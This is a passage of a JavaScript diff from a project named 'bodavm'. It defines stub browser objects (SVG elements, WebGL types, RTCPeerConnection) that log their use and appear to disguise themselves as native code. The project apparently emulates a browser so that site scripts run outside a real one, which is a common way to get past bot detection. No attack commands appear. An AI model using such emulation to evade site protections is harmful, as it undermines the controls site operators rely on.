true, + value: function checkIntersection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkIntersection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGLength", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGNumber", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGNumber", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGRect", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransformFromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransformFromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransformFromMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "deselectAll", { + configurable: true, + enumerable: true, + writable: true, + value: function deselectAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "deselectAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "forceRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function forceRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "forceRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getEnclosureList", { + configurable: true, + enumerable: true, + writable: true, + value: function getEnclosureList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getEnclosureList", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getIntersectionList", { + configurable: true, + enumerable: true, + writable: true, + value: function getIntersectionList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getIntersectionList", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "pauseAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function pauseAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "pauseAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "setCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "setCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "suspendRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function suspendRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "suspendRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unpauseAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function unpauseAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unpauseAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function unsuspendRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedrawAll", { + configurable: true, + enumerable: true, + writable: true, + value: function unsuspendRedrawAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedrawAll", arguments); + } +}, 'prototype'); +// SVGSymbolElement对象 + +bodavm.memory.globalobj['SVGSymbolElement'] = function SVGSymbolElement() { + console.log_copy('SVGSymbolElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSymbolElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSymbolElement'], "SVGSymbolElement"); +bodavm.memory.globalobj['SVGSymbolElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGSymbolElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSymbolElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGUseElement对象 + +bodavm.memory.globalobj['SVGUseElement'] = function SVGUseElement() { + console.log_copy('SVGUseElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGUseElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUseElement'], "SVGUseElement"); +bodavm.memory.globalobj['SVGUseElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGUseElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGUseElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGUseElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// WebGLShader对象 + +bodavm.memory.globalobj['WebGLShader'] = function WebGLShader() { + console.log_copy('WebGLShader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLShader)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShader'], "WebGLShader"); +// WebGLShaderPrecisionFormat对象 + +bodavm.memory.globalobj['WebGLShaderPrecisionFormat'] = function WebGLShaderPrecisionFormat() { + console.log_copy('WebGLShaderPrecisionFormat 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLShaderPrecisionFormat)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShaderPrecisionFormat'], "WebGLShaderPrecisionFormat"); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMin", { + configurable: true, + enumerable: true, + get: function rangeMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMax", { + configurable: true, + enumerable: true, + get: function rangeMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMax_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "precision", { + configurable: true, + enumerable: true, + get: function precision() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "precision_get", arguments); + }, + set: undefined +}, 'prototype'); +// RTCPeerConnection对象 + +bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection() { + console.log_copy('RTCPeerConnection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RTCPeerConnection(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); +bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RTCPeerConnection'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "generateCertificate", { + configurable: true, + enumerable: true, + writable: true, + value: function generateCertificate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].undefined, "RTCPeerConnection", "generateCertificate", arguments); + } +}); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "localDescription", { + configurable: true, + enumerable: true, + get: function localDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "localDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentLocalDescription", { + configurable: true, + enumerable: true, + get: function currentLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentLocalDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingLocalDescription", { + configurable: true, + enumerable: true, + get: function pendingLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingLocalDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "remoteDescription", { + configurable: true, + enumerable: true, + get: function remoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "remoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentRemoteDescription", { + configurable: true, + enumerable: true, + get: function currentRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentRemoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingRemoteDescription", { + configurable: true, + enumerable: true, + get: function pendingRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingRemoteDescription_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "signalingState", { + configurable: true, + enumerable: true, + get: function signalingState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "signalingState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceGatheringState", { + configurable: true, + enumerable: true, + get: function iceGatheringState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceGatheringState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceConnectionState", { + configurable: true, + enumerable: true, + get: function iceConnectionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceConnectionState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "connectionState", { + configurable: true, + enumerable: true, + get: function connectionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "connectionState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "canTrickleIceCandidates", { + configurable: true, + enumerable: true, + get: function canTrickleIceCandidates() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "canTrickleIceCandidates_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onnegotiationneeded", { + configurable: true, + enumerable: true, + get: function onnegotiationneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_get", arguments); + }, + set: function onnegotiationneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidate", { + configurable: true, + enumerable: true, + get: function onicecandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_get", arguments); + }, + set: function onicecandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onsignalingstatechange", { + configurable: true, + enumerable: true, + get: function onsignalingstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_get", arguments); + }, + set: function onsignalingstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "oniceconnectionstatechange", { + configurable: true, + enumerable: true, + get: function oniceconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_get", arguments); + }, + set: function oniceconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onconnectionstatechange", { + configurable: true, + enumerable: true, + get: function onconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_get", arguments); + }, + set: function onconnectionstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicegatheringstatechange", { + configurable: true, + enumerable: true, + get: function onicegatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_get", arguments); + }, + set: function onicegatheringstatechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidateerror", { + configurable: true, + enumerable: true, + get: function onicecandidateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_get", arguments); + }, + set: function onicecandidateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ontrack", { + configurable: true, + enumerable: true, + get: function ontrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_get", arguments); + }, + set: function ontrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "sctp", { + configurable: true, + enumerable: true, + get: function sctp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "sctp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ondatachannel", { + configurable: true, + enumerable: true, + get: function ondatachannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_get", arguments); + }, + set: function ondatachannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onaddstream", { + configurable: true, + enumerable: true, + get: function onaddstream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_get", arguments); + }, + set: function onaddstream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onremovestream", { + configurable: true, + enumerable: true, + get: function onremovestream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_get", arguments); + }, + set: function onremovestream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addIceCandidate", { + configurable: true, + enumerable: true, + writable: true, + value: function addIceCandidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addIceCandidate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addStream", { + configurable: true, + enumerable: true, + writable: true, + value: function addStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTransceiver", { + configurable: true, + enumerable: true, + writable: true, + value: function addTransceiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTransceiver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createAnswer", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnswer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createAnswer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDTMFSender", { + configurable: true, + enumerable: true, + writable: true, + value: function createDTMFSender() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDTMFSender", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDataChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function createDataChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDataChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createOffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createOffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createOffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getLocalStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function getLocalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getLocalStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getReceivers", { + configurable: true, + enumerable: true, + writable: true, + value: function getReceivers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getReceivers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getRemoteStreams", { + configurable: true, + enumerable: true, + writable: true, + value: function getRemoteStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getRemoteStreams", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getSenders", { + configurable: true, + enumerable: true, + writable: true, + value: function getSenders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getSenders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getStats", { + configurable: true, + enumerable: true, + writable: true, + value: function getStats() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getStats", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getTransceivers", { + configurable: true, + enumerable: true, + writable: true, + value: function getTransceivers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getTransceivers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeStream", { + configurable: true, + enumerable: true, + writable: true, + value: function removeStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function removeTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", { + configurable: true, + enumerable: true, + writable: true, + value: function restartIce() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function setConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", { + configurable: true, + enumerable: true, + writable: true, + value: function setLocalDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", { + configurable: true, + enumerable: true, + writable: true, + value: function setRemoteDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments); + } +}, 'prototype'); +// WebGLBuffer对象 + +bodavm.memory.globalobj['WebGLBuffer'] = function WebGLBuffer() { + console.log_copy('WebGLBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLBuffer'], "WebGLBuffer"); +// WebGLProgram对象 + +bodavm.memory.globalobj['WebGLProgram'] = function WebGLProgram() { + console.log_copy('WebGLProgram 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGLProgram)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = 